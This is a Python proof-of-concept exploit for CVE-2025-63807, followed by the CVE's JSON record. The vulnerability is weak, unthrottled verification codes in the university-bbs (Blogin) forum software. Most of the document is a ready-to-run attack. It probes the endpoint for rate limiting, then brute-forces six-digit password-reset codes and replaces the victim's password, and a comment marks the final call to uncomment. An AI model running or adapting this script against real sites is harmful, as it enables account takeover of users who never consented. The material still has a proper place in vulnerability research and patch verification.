CVE-2025-63807

#!/usr/bin/env python3 """ CVE-2025-63807 PoC - weijiang1994 university-bss weak verification code brute force Note: This PoC is for educational and security research purposes only. """ import requests import itertools import string import time TARGET_URL = "http://target.com" # Replace with target URL VERIFY_CODE_ENDPOINT = "/api/verify/code" # Replace with actual endpoint FORGOT_PASSWORD_ENDPOINT = "/api/user/forgot-password" def generate_verification_codes(length=6): """Generate possible verification codes based on common patterns""" # Common numeric patterns for code in itertools.product(string.digits, repeat=length): yield ''.join(code) def check_rate_limiting(): """Check if rate limiting is implemented""" response = requests.post(f"{TARGET_URL}{VERIFY_CODE_ENDPOINT}", json={ "email": "[email protected]" }) # Send multiple requests to test rate limiting for i in range(100): resp = requests.post(f"{TARGET_URL}{VERIFY_CODE_ENDPOINT}", json={ "email": "[email protected]" }) if resp.status_code == 429: print("Rate limiting detected") return False print("No rate limiting detected - vulnerable!") return True def brute_force_verification_code(email, max_attempts=10000): """ Attempt to brute force the verification code """ print(f"[*] Starting brute force attack on {email}") print(f"[*] Target: {TARGET_URL}") # Request a new verification code first requests.post(f"{TARGET_URL}{VERIFY_CODE_ENDPOINT}", json={ "email": email }) attempt = 0 for code in generate_verification_codes(6): attempt += 1 if attempt > max_attempts: break response = requests.post(f"{TARGET_URL}{FORGOT_PASSWORD_ENDPOINT}", json={ "email": email, "code": code, "new_password": "HackedPass123!" }) if "success" in response.text.lower() or response.status_code == 200: print(f"[!] Valid code found: {code}") print(f"[!] Account takeover successful!") return code if attempt % 100 == 0: print(f"[*] Attempts: {attempt}") print("[-] Brute force failed or rate limiting prevented further attempts") return None if __name__ == "__main__": print("CVE-2025-63807 PoC") print("=" * 50) # First check if vulnerable (no rate limiting) if not check_rate_limiting(): print("Target appears to have rate limiting - may not be vulnerable") # Uncomment to run actual attack # target_email = "[email protected]" # brute_force_verification_code(target_email)

{"cve": {"id": "CVE-2025-63807", "sourceIdentifier": "[email protected]", "published": "2025-11-20T21:16:06.617", "lastModified": "2026-01-15T16:59:02.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in weijiang1994 university-bbs (aka Blogin) in commit 9e06bab430bfc729f27b4284ba7570db3b11ce84 (2025-01-13). A weak verification code generation mechanism combined with missing rate limiting allows attackers to perform brute-force attacks on verification codes without authentication. Successful exploitation may result in account takeover via password reset or other authentication bypass methods."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}, {"lang": "en", "value": "CWE-1390"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:2dogz:blogin:*:*:*:*:*:*:*:*", "versionEndIncluding": "2024-11-09", "matchCriteriaId": "3CC0D0E0-A890-41DD-BCFC-A59169D5F2BA"}]}]}], "references": [{"url": "https://gist.github.com/Rycarl-Furry/3e93c6f0d48a29518adf341e0fc7e2dd", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}